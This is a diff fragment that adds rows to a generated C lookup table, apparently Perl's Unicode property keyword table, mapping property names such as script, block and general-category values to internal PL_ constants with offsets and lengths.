+ { 3, 6890, 5427, 4, 9, PL_INMALAYALAM } /* blk=malayalam */,
+ { 11, 1417, 8263, 9, 2, PL_MC } /* category=mc */,
+ { 4, 3521, 7997, 5, 4, PL_XPOSIXSPACE } /* space=yes */,
+ { 1, 8096, 3754, 4, 7, PL_LINB } /* scx=linearb */,
+ { 0, 184, 8368, 2, 4, PL_LAO } /* islaoo */,
+ { 0, 4883, 0, 14, 0, PL_LATINEXTE } /* latinextendede */,
+ { 0, 7380, 7727, 4, 2, PL_CCC__32 } /* ccc=32 */,
+ { 0, 1566, 0, 23, 0, PL_COMPATJAMO } /* hangulcompatibilityjamo */,
+ { 0, 7696, 7768, 6, 6, -PL_XPOSIXSPACE } /* wspace=false */,
+ { 0, 8376, 8927, 3, 2, PL_GCB__L } /* lb=jl */,
+ { 1, 1402, 5271, 24, 13, PL_INPC__BOTTOMANDLEFT } /* indicpositionalcategory=bottomandleft */,
+ { 0, 6890, 720, 4, 21, PL_ENCLOSEDALPHANUM } /* blk=enclosedalphanumerics */,
+ { 0, 5375, 0, 13, 0, PL_JT__D } /* joiningtype=d */,
+ { 1, 2389, 0, 19, 0, PL_ANCIENTGREEKNUMBERS } /* ancientgreeknumbers */,
+ { 0, 7136, 4105, 7, 14, PL_BAMUMSUP } /* block=bamumsupplement */,
+ { 0, 184, 541, 3, 29, PL_CJKEXTB } /* iscjkunifiedideographsextensionb */,
+ { 0, 7906, 2098, 4, 3, PL_SC__KALI } /* sc=kali */,
+ { 0, 2229, 3914, 16, 5, PL_C } /* generalcategory=other */,
+ { 3, 2369, 1548, 20, 2, PL_VO__TR } /* verticalorientation=tr */,
+ { 1, 3129, 6989, 17, 9, PL_TALU } /* scriptextensions=newtailue */,
+ { 1, 7227, 6472, 5, 4, PL_POSIXWORD } /* posixword */,
+ { 2, 5645, 3516, 10, 10, PL_BC__WS } /* bidiclass=whitespace */,
+ { 2, 8096, 7192, 4, 8, PL_GUJR } /* scx=gujarati */,
+ { 3, 8795, 4615, 3, 7, PL_VEDICEXT } /* invedicext */,
+ { 0, 6890, 3962, 4, 16, PL_SUPMATHOPERATORS } /* blk=supmathoperators */,
+ { 6, 6980, 0, 9, 0, PL_NBAT } /* nabataean */,
+ { 0, 8096, 8488, 4, 4, PL_RJNG } /* scx=rjng */,
+ { 2, 1448, 3965, 5, 13, PL_SUPMATHOPERATORS } /* insupmathoperators */,
+ { 2, 6890, 5258, 4, 13, PL_BLOCKELEMENTS } /* blk=blockelements */,
+ { 1, 3129, 8596, 17, 4, PL_ZANB } /* scriptextensions=zanb */,
+ { 1, 2750, 7997, 4, 2, PL_TERM } /* term=y */,
+ { 1, 7288, 7912, 7, 6, PL_SC__TELU } /* script=telugu */,
+ { 3, 184, 2877, 2, 10, PL_DEVA } /* isdevanagari */,
+ { 1, 7459, 4010, 3, 6, PL_TANG } /* sc=tangut */,
+ { 4, 8096, 8560, 4, 4, PL_TIBT } /* scx=tibt */,
+ { 1, 7288, 8476, 7, 4, PL_SC__COPT } /* script=qaac */,
+ { 3, 7288, 6676, 7, 10, PL_XPEO } /* script=oldpersian */,
+ { 1, 184, 691, 3, 15, PL_CUNEIFORMNUMBERS } /* iscuneiformnumbers */,
+ { 1, 5544, 7720, 13, 6, PL_NV__400000 } /* numericvalue=400000 */,
+ { 0, 184, 7248, 2, 4, PL_JAVA } /* isjava */,
+ { 0, 8504, 7070, 3, 9, PL_SB__SC } /* sb=scontinue */,
+ { 2, 7345, 0, 7, 0, PL_IDS } /* idstart */,
+ { 0, 7136, 1566, 6, 23, PL_COMPATJAMO } /* block=hangulcompatibilityjamo */,
+ { 8, 8816, 8643, 3, 2, PL_NV__22 } /* nv=22 */,
+ { 1, 7459, 4784, 3, 4, PL_CHAM } /* sc=cham */,
+ { 0, 2985, 7997, 3, 2, PL_IDS } /* ids=y */,
+ { 3, 8196, 8564, 4, 4, PL_AGE__10 } /* age=v100 */,
+ { 0, 4314, 5885, 13, 12, PL_JG__MALAYALAMNYA } /* joininggroup=malayalamnya */,
+ { 6, 3129, 7034, 17, 4, PL_PALM } /* scriptextensions=palm */,
+ { 2, 7380, 6131, 4, 11, PL_CCC__DA } /* ccc=doubleabove */,
+ { 0, 5544, 8691, 13, 2, PL_NV__28 } /* numericvalue=28 */,
+ { 0, 8096, 8408, 4, 4, PL_MRO } /* scx=mroo */,
+ { 2, 217, 6854, 6, 9, PL__PERL_ANY_FOLDS } /* _perl_any_folds */,
+ { 7, 3129, 7429, 17, 7, PL_DSRT } /* scriptextensions=deseret */,
+ { 0, 7478, 3758, 3, 3, PL_SARB } /* issarb */,
+ { 17, 7870, 0, 6, 0, PL_LEPC } /* lepcha */,
+ { 0, 6890, 4869, 4, 14, PL_LATINEXTD } /* blk=latinextendedd */,
+ { 1, 8288, 7888, 3, 6, PL_DT__NAR } /* dt=narrow */,
+ { 3, 3129, 7336, 17, 4, PL_UGAR } /* scriptextensions=ugar */,
+ { 6, 6890, 2598, 4, 19, PL_MERO } /* blk=meroitichieroglyphs */,
+ { 0, 8016, 34, 4, 2, PL_GREXT } /* gcb=ex */,
+ { 2, 8580, 0, 4, 0, PL_XPEO } /* xpeo */,
+ { 0, 7288, 8516, 7, 4, PL_SGNW } /* script=sgnw */,
+ { 1, 8376, 5772, 3, 5, PL_LB__EB } /* lb=ebase */,
+ { 5, 184, 3898, 2, 16, PL_MYANMAREXTB } /* ismyanmarextendedb */,
+ { 1, 8816, 7720, 3, 6, PL_NV__400000 } /* nv=400000 */,
+ { 2, 3129, 8580, 17, 4, PL_XPEO } /* scriptextensions=xpeo */,
+ { 0, 184, 8404, 2, 4, PL_MLYM } /* ismlym */,
+ { 0, 750, 0, 29, 0, PL_ENCLOSEDIDEOGRAPHICSUP } /* enclosedideographicsupplement */,
+ { 0, 1426, 5993, 22, 12, PL_INSC__NUMBERJOINER } /* indicsyllabiccategory=numberjoiner */,
+ { 2, 8816, 7750, 3, 2, PL_NV__80 } /* nv=80 */,
+ { 1, 7840, 8569, 3, 3, PL_VAI } /* isvaii */,
+ { 2, 7136, 7506, 6, 7, PL_INLINEARA } /* block=lineara */,
+ { 2, 186, 3581, 2, 2, PL_CE } /* ce=t */,
+ { 2, 184, 3850, 2, 16, PL_MISCMATHSYMBOLSA } /* ismiscmathsymbolsa */,
+ { 4, 7288, 7208, 7, 4, PL_SC__HIRA } /* script=hira */,
+ { 2, 42, 0, 3, 0, PL_CJK } /* cjk */,
+ { 5, 7288, 2598, 7, 19, PL_MERO } /* script=meroitichieroglyphs */,
+ { 1, 7061, 0, 9, 0, PL_SAMR } /* samaritan */,
+ { 2, 1887, 7997, 5, 2, PL_XPOSIXLOWER } /* lower=y */,
+ { 1, 4923, 363, 4, 19, PL_MATHOPERATORS } /* inmathematicaloperators */,
+ { 3, 1402, 2355, 24, 6, PL_INPC__BOTTOM } /* indicpositionalcategory=bottom */,
+ { 0, 6890, 7436, 4, 7, PL_INELBASAN } /* blk=elbasan */,
+ { 0, 3129, 3754, 17, 7, PL_LINB } /* scriptextensions=linearb */,
+ { 0, 8572, 34, 3, 2, PL_WB__EX } /* wb=ex */,
+ { 0, 8504, 1887, 3, 5, PL_SB__LO } /* sb=lower */,
+ { 1, 5051, 3223, 14, 2, PL_NFKDQC__N } /* nfkdquickcheck=n */,
+ { 0, 6263, 96, 10, 10, PL_LB__AL } /* linebreak=alphabetic */,
+ { 0, 7459, 8428, 3, 4, PL_NEWA } /* sc=newa */,
+ { 0, 7689, 80, 4, 8, PL_ARABICMATH } /* isarabicmath */,
+ { 0, 184, 7120, 2, 8, PL_BALI } /* isbalinese */,
+ { 1, 5134, 7896, 4, 4, PL_PATSYN } /* ispatsyn */,
+ { 0, 5134, 850, 3, 13, PL_PUA } /* isprivateusearea */,
+ { 1, 3129, 8284, 17, 4, PL_DSRT } /* scriptextensions=dsrt */,
+ { 0, 3129, 8091, 17, 5, PL_RUNR } /* scriptextensions=runic */,
+ { 16, 6706, 7756, 10, 1, PL_IN__9 } /* presentin=9 */,
+ { 8, 3129, 7436, 17, 7, PL_ELBA } /* scriptextensions=elbasan */,
+ { 0, 5645, 0, 5, 0, PL_BIDIC } /* bidic */,
+ { 0, 8340, 7864, 3, 6, PL_JG__LAMADH } /* jg=lamadh */,
+ { 0, 4269, 0, 15, 0, PL_DIACRITICALSSUP } /* diacriticalssup */,
+ { 0, 8288, 2991, 3, 3, PL_DT__NAR } /* dt=nar */,
+ { 1, 7288, 3566, 7, 11, PL_SGNW } /* script=signwriting */,
+ { 1, 974, 8648, 24, 3, PL_CCC__130 } /* canonicalcombiningclass=130 */,
+ { 2, 6713, 8882, 3, 3, PL_IN__6_DOT_3 } /* in=v63 */,
+ { 4, 8011, 3086, 5, 7, PL_Z } /* gc=separator */,
+ { 6, 2229, 698, 16, 2, PL_MN } /* generalcategory=mn */,
+ { 2, 6890, 3610, 4, 16, PL_BOPOMOFOEXT } /* blk=bopomofoextended */,
+ { 1, 6890, 7912, 4, 6, PL_INTELUGU } /* blk=telugu */,
+ { 2, 7696, 3223, 6, 3, -PL_XPOSIXSPACE } /* wspace=no */,
+ { 3, 7459, 1540, 3, 4, PL_SC__PHAG } /* sc=phag */,
+ { 2, 6890, 630, 4, 30, PL_CJKEXTE } /* blk=cjkunifiedideographsextensione */,
+ { 6, 7464, 3521, 7, 5, PL_XPOSIXBLANK } /* ishorizspace */,
+ { 0, 7136, 3706, 6, 16, PL_HALFANDFULLFORMS } /* block=halfandfullforms */,
+ { 2, 6208, 7997, 5, 4, PL_JOINC } /* joinc=yes */,
+ { 2, 630, 0, 30, 0, PL_CJKEXTE } /* cjkunifiedideographsextensione */,
+ { 1, 3288, 0, 17, 0, PL_AGHB } /* caucasianalbanian */,
+ { 0, 7136, 3866, 6, 16, PL_MISCMATHSYMBOLSB } /* block=miscmathsymbolsb */,
+ { 1, 8816, 7708, 3, 6, PL_NV__216000 } /* nv=216000 */,
+ { 8, 8200, 0, 4, 0, PL_AGHB } /* aghb */,
+ { 1, 7136, 1450, 6, 24, PL_SUPSYMBOLSANDPICTOGRAPHS } /* block=supsymbolsandpictographs */,
+ { 7, 184, 479, 2, 31, PL_MATHALPHANUM } /* ismathematicalalphanumericsymbols */,
+ { 4, 7459, 1401, 3, 4, PL_SC__SIND } /* sc=sind */,
+ { 4, 7459, 4644, 3, 15, PL_ZANB } /* sc=zanabazarsquare */,
+ { 1, 6890, 1497, 4, 23, PL_BYZANTINEMUSIC } /* blk=byzantinemusicalsymbols */,
+ { 0, 6029, 0, 12, 0, PL_PHAISTOS } /* phaistosdisc */,
+ { 9, 6706, 5219, 10, 2, PL_IN__10 } /* presentin=10 */,
+ { 1, 8816, 8148, 3, 3, PL_NV__1_SLASH_4 } /* nv=1/4 */,
+ { 4, 5645, 32, 10, 2, PL_BC__CS } /* bidiclass=cs */,
+ { 0, 5544, 7732, 13, 5, PL_NV__50000 } /* numericvalue=50000 */,
+ { 3, 7136, 947, 6, 17, PL_ANCIENTGREEKMUSIC } /* block=ancientgreekmusic */,
+ { 1, 513, 7997, 16, 2, PL_UIDEO } /* unifiedideograph=y */,
+ { 2, 62, 0, 5, 0, PL_XPOSIXGRAPH } /* graph */,
+ { 2, 4554, 1887, 14, 5, PL_SB__LO } /* sentencebreak=lower */,
+ { 1, 184, 691, 3, 8, PL_XSUX } /* iscuneiform */,
+ { 2, 184, 1497, 2, 23, PL_BYZANTINEMUSIC } /* isbyzantinemusicalsymbols */,
+ { 0, 5544, 7714, 13, 4, PL_NV__3000 } /* numericvalue=3000 */,
+ { 0, 6263, 5763, 10, 2, PL_LB__WJ } /* linebreak=wj */,
+ { 2, 8783, 0, 3, 0, PL_CWU } /* cwu */,
+ { 1, 5051, 8256, 5, 3, PL_NFKDQC__N } /* nfkdqc=n */,
+ { 1, 8816, 8897, 3, 2, PL_NV__19 } /* nv=19 */,
+ { 0, 8524, 0, 4, 0, PL_SHRD } /* shrd */,
+ { 3, 8096, 2098, 5, 3, PL_BALI } /* scx=bali */,
+ { 1, 6221, 1308, 4, 22, PL_DIACRITICALSFORSYMBOLS } /* incombiningmarksforsymbols */,
+ { 0, 7136, 42, 6, 36, PL_CJKCOMPATIDEOGRAPHSSUP } /* block=cjkcompatibilityideographssupplement */,
+ { 1, 6109, 1628, 10, 6, PL_XPOSIXCNTRL } /* category=control */,
+ { 1, 1417, 4524, 9, 15, PL_PS } /* category=openpunctuation */,
+ { 0, 5968, 7556, 3, 6, PL_OLCK } /* inolchiki */,
+ { 0, 1184, 3581, 25, 2, PL_DI } /* defaultignorablecodepoint=t */,
+ { 4, 7828, 7768, 6, 6, -PL_HYPHEN } /* hyphen=false */,
+ { 0, 6890, 2895, 4, 8, PL_INETHIOPIC } /* blk=ethiopic */,
+ { 1, 58, 7951, 4, 5, PL_IDEO } /* ideo=true */,
+ { 1, 2990, 1236, 4, 22, PL_ARABICPFA } /* inarabicpresentationformsa */,
+ { 0, 3129, 8569, 18, 3, PL_VAI } /* scriptextensions=vaii */,
+ { 1, 6890, 1790, 4, 22, PL_MODIFIERLETTERS } /* blk=spacingmodifierletters */,
+ { 5, 184, 7696, 2, 6, PL_XPOSIXSPACE } /* iswspace */,
+ { 0, 6210, 7423, 3, 6, PL_CJKEXTF } /* incjkextf */,
+ { 2, 7288, 2107, 7, 4, PL_SC__SINH } /* script=sinh */,
+ { 2, 8340, 4981, 3, 14, PL_JG__MANICHAEANQOPH } /* jg=manichaeanqoph */,
+ { 5, 8340, 4935, 3, 4, PL_JG__BETH } /* jg=beth */,
+ { 2, 7457, 3914, 5, 5, PL_INSC__OTHER } /* insc=other */,
+ { 0, 7459, 358, 4, 3, PL_ITAL } /* sc=ital */,
+ { 0, 8816, 7702, 3, 6, PL_NV__200000 } /* nv=200000 */,
+ { 0, 7689, 5316, 3, 4, PL_XPOSIXALNUM } /* isalnum */,
+ { 4, 7288, 78, 7, 4, PL_SC__ARAB } /* script=arab */,
+ { 1, 6890, 7128, 4, 8, PL_INBASSAVAH } /* blk=bassavah */,
+ { 0, 6890, 3706, 4, 16, PL_HALFANDFULLFORMS } /* blk=halfandfullforms */,
+ { 1, 2229, 4224, 16, 14, PL_SC } /* generalcategory=currencysymbol */,
+ { 3, 2229, 206, 16, 2, PL_PI } /* generalcategory=pi */,
+ { 1, 8096, 6882, 5, 8, PL_BHKS } /* scx=bhaiksuki */,
+ { 2, 7380, 2295, 4, 5, PL_CCC__R } /* ccc=right */,
+ { 2, 3129, 8264, 17, 4, PL_CANS } /* scriptextensions=cans */,
+ { 2, 949, 0, 2, 0, PL_CI } /* ci */,
+ { 0, 8096, 2895, 4, 4, PL_ETHI } /* scx=ethi */,
+ { 0, 34, 0, 3, 0, PL_EXT } /* ext */,
+ { 1, 7459, 1160, 3, 4, PL_SC__HANG } /* sc=hang */,
+ { 2, 6890, 4494, 4, 15, PL_NARB } /* blk=oldnortharabian */,
+ { 1, 1206, 8117, 3, 4, PL_INTAMIL } /* intamil */,
+ { 8, 1892, 7951, 5, 5, PL_CASED } /* cased=true */,
+ { 2, 3509, 7997, 17, 2, PL_PATWS } /* patternwhitespace=y */,
+ { 3, 5544, 8729, 13, 3, PL_NV__4_SLASH_5 } /* numericvalue=4/5 */,
+ { 0, 7128, 0, 8, 0, PL_BASS } /* bassavah */,
+ { 0, 5544, 7702, 13, 6, PL_NV__200000 } /* numericvalue=200000 */,
+ { 0, 5557, 3223, 13, 3, -PL_PATSYN } /* patternsyntax=no */,
+ { 1, 1963, 7997, 7, 2, PL_RADICAL } /* radical=y */,
+ { 4, 4074, 7976, 15, 5, PL__PERL_CHARNAME_BEGIN } /* _perl_charname_begin */,
+ { 4, 1448, 2108, 3, 6, PL_INSINHALA } /* insinhala */,
+ { 5, 8816, 7942, 3, 4, PL_NV__1_SLASH_12 } /* nv=1/12 */,
+ { 0, 7136, 6428, 6, 11, PL_SUPERANDSUB } /* block=superandsub */,
+ { 0, 2750, 7997, 4, 4, PL_TERM } /* term=yes */,
+ { 8, 184, 17, 3, 1, PL_CO } /* isco */,
+ { 1, 7288, 8200, 7, 4, PL_AGHB } /* script=aghb */,
+ { 1, 184, 1659, 3, 21, PL_CJKCOMPATIDEOGRAPHSSUP } /* iscjkcompatideographssup */,
+ { 2, 5544, 8666, 13, 3, PL_NV__2_SLASH_5 } /* numericvalue=2/5 */,
+ { 1, 2805, 0, 18, 0, PL_HALFMARKS } /* combininghalfmarks */,
+ { 0, 3021, 0, 9, 0, PL_LATINEXTA } /* latinexta */,
+ { 2, 4314, 5163, 13, 14, PL_JG__HAMZAONHEHGOAL } /* joininggroup=tehmarbutagoal */,
+ { 2, 8096, 6439, 4, 11, PL_SYLO } /* scx=sylotinagri */,
+ { 0, 7136, 6586, 6, 10, PL_CJKSTROKES } /* block=cjkstrokes */,
+ { 1, 7834, 0, 4, 0, PL_PE } /* ispe */,
+ { 2, 184, 3965, 2, 13, PL_MATHOPERATORS } /* ismathoperators */,
+ { 1, 6613, 1567, 3, 5, PL_HANG } /* ishangul */,
+ { 2, 974, 2289, 24, 4, PL_CCC__L } /* canonicalcombiningclass=left */,
+ { 0, 184, 8380, 2, 4, PL_LINA } /* islina */,
+ { 4, 2369, 3194, 20, 7, PL_VO__R } /* verticalorientation=rotated */,
+ { 0, 21, 4855, 2, 14, PL_LATINEXTC } /* inlatinextendedc */,
+ { 2, 6890, 5149, 4, 14, PL_SUPPUNCTUATION } /* blk=suppunctuation */,
+ { 1, 8344, 6461, 3, 11, PL_JT__T } /* jt=transparent */,
+ { 0, 6890, 4089, 4, 15, PL_ARABICEXTA } /* blk=arabicextendeda */,
+ { 4, 6890, 690, 4, 30, PL_CUNEIFORMNUMBERS } /* blk=cuneiformnumbersandpunctuation */,
+ { 0, 5968, 6006, 3, 11, PL_INOLDHUNGARIAN } /* inoldhungarian */,
+ { 0, 7288, 8524, 7, 4, PL_SC__SHRD } /* script=shrd */,
+ { 3, 6917, 0, 9, 0, PL_QAAI } /* inherited */,
+ { 1, 7288, 5801, 7, 5, PL_KHMR } /* script=khmer */,
+ { 0, 4509, 0, 15, 0, PL_SARB } /* oldsoutharabian */,
+ { 4, 8456, 0, 4, 0, PL_OSGE } /* osge */,
+ { 3, 7840, 4616, 4, 6, PL_VEDICEXT } /* isvedicext */,
+ { 3, 7380, 7702, 4, 3, PL_CCC__133 } /* ccc=200 */,
+ { 0, 5544, 7714, 13, 1, PL_NV__3 } /* numericvalue=3 */,
+ { 0, 720, 0, 21, 0, PL_ENCLOSEDALPHANUM } /* enclosedalphanumerics */,
+ { 0, 186, 7768, 2, 6, -PL_CE } /* ce=false */,
+ { 1, 7136, 4869, 6, 14, PL_LATINEXTD } /* block=latinextendedd */,
+ { 3, 7459, 7128, 3, 4, PL_BASS } /* sc=bass */,
+ { 2, 8288, 3543, 3, 5, PL_DT__SML } /* dt=small */,
+ { 2, 7459, 7918, 3, 4, PL_SC__THAA } /* sc=thaa */,
+ { 0, 2229, 966, 16, 2, PL_NO } /* generalcategory=no */,
+ { 6, 8816, 7941, 3, 5, PL_NV__11_SLASH_12 } /* nv=11/12 */,
+ { 5, 8816, 5219, 3, 5, PL_NV__10000 } /* nv=10000 */,
+ { 8, 184, 34, 2, 3, PL_EXT } /* isext */,
+ { 8, 6263, 6816, 10, 10, PL_LB__WJ } /* linebreak=wordjoiner */,
+ { 4, 8376, 25, 3, 2, PL_LB__SY } /* lb=sy */,
+ { 1, 7380, 8933, 4, 2, PL_CCC__9 } /* ccc=vr */,
+ { 2, 184, 3021, 2, 18, PL_LATINEXTADDITIONAL } /* islatinextadditional */,
+ { 0, 2221, 4588, 3, 11, PL_LB__H2 } /* hst=lvsyllable */,
+ { 3, 8011, 599, 3, 2, PL_XPOSIXCNTRL } /* gc=cc */,
+ { 1, 974, 8655, 24, 2, PL_CCC__33 } /* canonicalcombiningclass=33 */,
+ { 1, 6616, 7768, 10, 6, -PL_DEP } /* deprecated=false */,
+ { 0, 1417, 4599, 9, 15, PL_LU } /* category=uppercaseletter */,
+ { 0, 2985, 7951, 18, 5, PL_IDST } /* idstrinaryoperator=true */,
+ { 1, 7459, 1981, 3, 8, PL_SC__CYRL } /* sc=cyrillic */,
+ { 2, 6120, 0, 6, 0, PL_DOMINO } /* domino */,
+ { 1, 1855, 3223, 21, 2, -PL_CWCM } /* changeswhencasemapped=n */,
+ { 12, 6890, 7312, 4, 8, PL_INTAGBANWA } /* blk=tagbanwa */,
+ { 3, 6706, 8756, 10, 3, PL_IN__6_DOT_3 } /* presentin=6.3 */,
+ { 1, 7459, 4104, 3, 5, PL_BAMU } /* sc=bamum */,
+ { 0, 5544, 8160, 13, 2, PL_NV__13 } /* numericvalue=13 */,
+ { 3, 1417, 6351, 9, 11, PL_NO } /* category=othernumber */,
+ { 16, 1426, 3914, 22, 5, PL_INSC__OTHER } /* indicsyllabiccategory=other */,
+ { 1, 5544, 8137, 13, 3, PL_NV__1_SLASH_2 } /* numericvalue=1/2 */,
+ { 2, 184, 5825, 2, 4, PL_MAHJ } /* ismahj */,
+ { 0, 2134, 3223, 3, 3, -PL_XPOSIXXDIGIT } /* hex=no */,
+ { 1, 3129, 8044, 17, 4, PL_PHLI } /* scriptextensions=phli */,
+ { 3, 8288, 436, 4, 2, PL_DT__ENC } /* dt=enc */,
+ { 4, 6472, 5777, 10, 12, PL_LB__HL } /* wordbreak=hebrewletter */,
+ { 1, 6210, 3323, 3, 16, PL_CYRILLICEXTA } /* incyrillicextendeda */,
+ { 0, 6483, 3581, 11, 2, PL_XIDC } /* xidcontinue=t */,
+ { 3, 7380, 8643, 7, 2, PL_CCC__22 } /* ccc=ccc22 */,
+ { 5, 5544, 8164, 13, 4, PL_NV__15_SLASH_2 } /* numericvalue=15/2 */,
+ { 1, 5284, 7951, 13, 5, PL_CI } /* caseignorable=true */,
+ { 0, 7380, 3262, 4, 9, PL_CCC__BL } /* ccc=belowleft */,
+ { 1, 6109, 17, 10, 1, PL_CO } /* category=co */,
+ { 2, 7380, 2769, 4, 13, PL_CCC__214 } /* ccc=attachedabove */,
+ { 0, 1503, 2896, 3, 17, PL_ETHIOPICSUP } /* inethiopicsupplement */,
+ { 0, 7459, 78, 3, 6, PL_SC__ARAB } /* sc=arabic */,
+ { 1, 7583, 0, 7, 0, PL_PHAG } /* phagspa */,
+ { 8, 8783, 3223, 3, 3, -PL_CWU } /* cwu=no */,
+ { 5, 8376, 6666, 3, 10, PL_LB__NS } /* lb=nonstarter */,
+ { 9, 6263, 4673, 10, 14, PL_LB__CR } /* linebreak=carriagereturn */,
+ { 14, 974, 8164, 27, 2, PL_CCC__15 } /* canonicalcombiningclass=ccc15 */,
+ { 0, 7312, 0, 4, 0, PL_TAGB } /* tagb */,
+ { 0, 7520, 0, 7, 0, PL_MARC } /* marchen */,
+ { 4, 6472, 7160, 10, 8, PL_WB__EBG } /* wordbreak=ebasegaz */,
+ { 1, 1402, 4256, 4, 13, PL_DIACRITICALSEXT } /* indiacriticalsext */,
+ { 1, 8101, 3223, 5, 2, -PL_STERM } /* sterm=n */,
+ { 2, 7288, 8440, 7, 4, PL_OGAM } /* script=ogam */,
+ { 0, 5645, 3039, 10, 18, PL_BC__LRI } /* bidiclass=lefttorightisolate */,
+ { 1, 8276, 3223, 4, 2, -PL_CWCM } /* cwcm=n */,
+ { 6, 8016, 5762, 4, 3, PL_LB__ZWJ } /* gcb=zwj */,
+ { 5, 7834, 47, 5, 1, PL_PERM } /* isperm */,
+ { 4, 7459, 5427, 3, 9, PL_SC__MLYM } /* sc=malayalam */,
+ { 0, 3509, 7768, 17, 6, -PL_PATWS } /* patternwhitespace=false */,
+ { 10, 7478, 3995, 3, 15, PL_SYRIACSUP } /* issyriacsupplement */,
+ { 8, 7136, 2044, 6, 14, PL_MEETEIMAYEKEXT } /* block=meeteimayekext */,
+ { 6, 5134, 132, 4, 2, PL_PALM } /* ispalm */,
+ { 0, 3526, 7768, 17, 6, -PL_RI } /* regionalindicator=false */,
+ { 0, 8340, 4359, 3, 15, PL_JG__MANICHAEANGIMEL } /* jg=manichaeangimel */,
+ { 10, 7288, 954, 7, 5, PL_SC__GREK } /* script=greek */,
+ { 7, 8408, 0, 4, 0, PL_MRO } /* mroo */,
+ { 5, 7288, 5777, 7, 6, PL_HEBR } /* script=hebrew */,
+ { 2, 7136, 920, 6, 27, PL_ALPHABETICPF } /* block=alphabeticpresentationforms */,
+ { 5, 7136, 1680, 6, 22, PL_INDICNUMBERFORMS } /* block=commonindicnumberforms */,
+ { 1, 8096, 7492, 4, 7, PL_KNDA } /* scx=kannada */,
+ { 2, 5645, 1, 11, 1, PL_BC__BN } /* bidiclass=bn */,
+ { 3, 6713, 7732, 3, 1, PL_IN__5 } /* in=5 */,
+ { 6, 184, 6626, 2, 10, PL_KHAR } /* iskharoshthi */,
+ { 0, 5375, 6053, 12, 12, PL_JT__R } /* joiningtype=rightjoining */,
+ { 2, 184, 4104, 2, 15, PL_BAMUMSUP } /* isbamumsupplement */,
+ { 0, 6483, 7768, 11, 2, -PL_XIDC } /* xidcontinue=f */,
+ { 0, 7152, 0, 4, 0, PL_DUPL } /* dupl */,
+ { 6, 7136, 8819, 6, 3, PL_OCR } /* block=ocr */,
+ { 0, 184, 7388, 3, 6, PL_CJKEXTA } /* iscjkexta */,
+ { 1, 2023, 7997, 21, 4, PL_LOE } /* logicalorderexception=yes */,
+ { 0, 7288, 6005, 7, 12, PL_HUNG } /* script=oldhungarian */,
+ { 0, 4449, 17, 15, 1, PL_COMPEX } /* nfcquickcheck=no */,
+ { 2, 4314, 6523, 13, 2, PL_JG__FE } /* joininggroup=fe */,
+ { 2, 7459, 8232, 3, 4, PL_AVST } /* sc=avst */,
+ { 0, 6890, 3290, 4, 4, PL_UCAS } /* blk=ucas */,
+ { 2, 6351, 0, 11, 0, PL_NO } /* othernumber */,
+ { 1, 6890, 3458, 4, 10, PL_INMANICHAEAN } /* blk=manichaean */,
+ { 1, 7380, 8901, 7, 2, PL_CCC__36 } /* ccc=ccc36 */,
+ { 8, 184, 4239, 2, 4, PL_DASH } /* isdash */,
+ { 1, 974, 8643, 24, 2, PL_CCC__22 } /* canonicalcombiningclass=22 */,
+ { 6, 2229, 5037, 16, 14, PL_SK } /* generalcategory=modifiersymbol */,
+ { 0, 6616, 7997, 10, 4, PL_DEP } /* deprecated=yes */,
+ { 8, 7136, 570, 6, 30, PL_CJKEXTC } /* block=cjkunifiedideographsextensionc */,
+ { 0, 3458, 0, 10, 0, PL_MANI } /* manichaean */,
+ { 2, 4314, 6384, 13, 11, PL_JG__ROHINGYAYEH } /* joininggroup=rohingyayeh */,
+ { 2, 8798, 7768, 3, 2, -PL_LOE } /* loe=f */,
+ { 1, 4314, 5479, 13, 13, PL_JG__MANICHAEANONE } /* joininggroup=manichaeanone */,
+ { 1, 8816, 8148, 3, 4, PL_NV__1_SLASH_40 } /* nv=1/40 */,
+ { 0, 7136, 5957, 6, 12, PL_INMENDEKIKAKUI } /* block=mendekikakui */,
+ { 0, 184, 8368, 2, 3, PL_LAO } /* islao */,
+ { 0, 8816, 8180, 3, 3, PL_NV__3_SLASH_8 } /* nv=3/8 */,
+ { 0, 5968, 3058, 3, 17, PL_ORNAMENTALDINGBATS } /* inornamentaldingbats */,
+ { 0, 974, 7708, 27, 2, PL_CCC__21 } /* canonicalcombiningclass=ccc21 */,
+ { 3, 7345, 7951, 7, 5, PL_IDS } /* idstart=true */,
+ { 6, 920, 0, 27, 0, PL_ALPHABETICPF } /* alphabeticpresentationforms */,
+ { 0, 6221, 115, 4, 33, PL_DIACRITICALSFORSYMBOLS } /* incombiningdiacriticalmarksforsymbols */,
+ { 0, 186, 7768, 2, 2, -PL_CE } /* ce=f */,
+ { 2, 1448, 0, 26, 0, PL_SUPSYMBOLSANDPICTOGRAPHS } /* insupsymbolsandpictographs */,
+ { 0, 1981, 0, 8, 0, PL_CYRL } /* cyrillic */,
+ { 0, 7689, 5032, 3, 2, PL_ANY } /* isany */,
+ { 0, 6890, 7104, 4, 8, PL_INARMENIAN } /* blk=armenian */,
+ { 3, 7136, 7200, 6, 8, PL_INGURMUKHI } /* block=gurmukhi */,
+ { 0, 4224, 0, 15, 0, PL_CURRENCYSYMBOLS } /* currencysymbols */,
+ { 2, 8340, 5518, 3, 13, PL_JG__MANICHAEANWAW } /* jg=manichaeanwaw */,
+ { 2, 8196, 5219, 4, 2, PL_AGE__10 } /* age=10 */,
+ { 9, 7288, 7858, 7, 4, PL_SC__KHOJ } /* script=khoj */,
+ { 0, 2229, 6796, 16, 10, PL_CN } /* generalcategory=unassigned */,
+ { 0, 6210, 511, 3, 29, PL_CJKEXTA } /* incjkunifiedideographsextensiona */,
+ { 16, 8011, 4329, 3, 15, PL_LL } /* gc=lowercaseletter */,
+ { 3, 8026, 5271, 5, 13, PL_INPC__BOTTOMANDLEFT } /* inpc=bottomandleft */,
+ { 0, 3129, 8520, 17, 4, PL_SHAW } /* scriptextensions=shaw */,
+ { 0, 8376, 8919, 3, 2, PL_LB__B2 } /* lb=b2 */,
+ { 0, 184, 7152, 2, 8, PL_DUPL } /* isduployan */,
+ { 0, 7380, 4976, 4, 2, PL_CCC__7 } /* ccc=nk */,
+ { 1, 6890, 0, 4, 34, PL_UCAS } /* blk=unifiedcanadianaboriginalsyllabics */,
+ { 0, 184, 2408, 2, 6, PL_BRAH } /* isbrahmi */,
+ { 0, 8288, 7541, 3, 7, PL_DT__NB } /* dt=nobreak */,
+ { 2, 6890, 5531, 4, 13, PL_MISCTECHNICAL } /* blk=misctechnical */,
+ { 0, 4554, 72, 14, 2, PL_SB__LE } /* sentencebreak=le */,
+ { 14, 3129, 8548, 17, 4, PL_TFNG } /* scriptextensions=tfng */,
